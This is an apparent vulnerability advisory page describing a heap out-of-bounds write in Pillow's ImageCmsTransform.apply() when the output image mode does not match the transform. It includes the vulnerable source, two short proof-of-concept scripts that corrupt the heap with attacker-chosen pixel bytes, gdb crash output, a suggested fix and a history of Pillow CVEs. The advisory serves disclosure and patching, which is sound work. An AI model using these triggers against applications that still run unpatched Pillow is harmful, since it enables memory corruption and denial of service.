High

Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

  • Disclosed: 14.07.2026
  • Updated: 11.10.2026 15:17

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

python
def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

c
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel:

c
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

python
from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

python
from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

bash
gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.

Suggested fix

Validate modes before calling into the native transform:

python
def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow < 12.3.0 12.3.0

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-787
Platform
Python (PyPI)
Package
pillow
Disclosed
14.07.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3453 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9hw9-ch79-4vh6 - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (81) in the archive
Total entries
81
First → latest
04.2014 10.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 10
  • High 53
  • Medium 16
  • Low 1
  • Unrated 1

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

earlier: 12

Severity:
  1. High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  2. Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch this entry
    High · 7.5 CVE-2026-59205 < 12.3.0 12.3.0
  3. High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  9. High · 8.8 Exploited in attacks CVE-2023-4863 < 10.0.1 10.0.1
  10. High · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  11. High · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  12. High · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  13. Critical · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  14. High · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  15. Critical · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  16. High · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  17. High · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  18. High · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  19. High · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  20. High · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  21. High · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  22. High · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  23. High · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  24. Critical · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  25. High · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  26. High · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  27. High · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
Show more (20) Showing 40 of 63

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.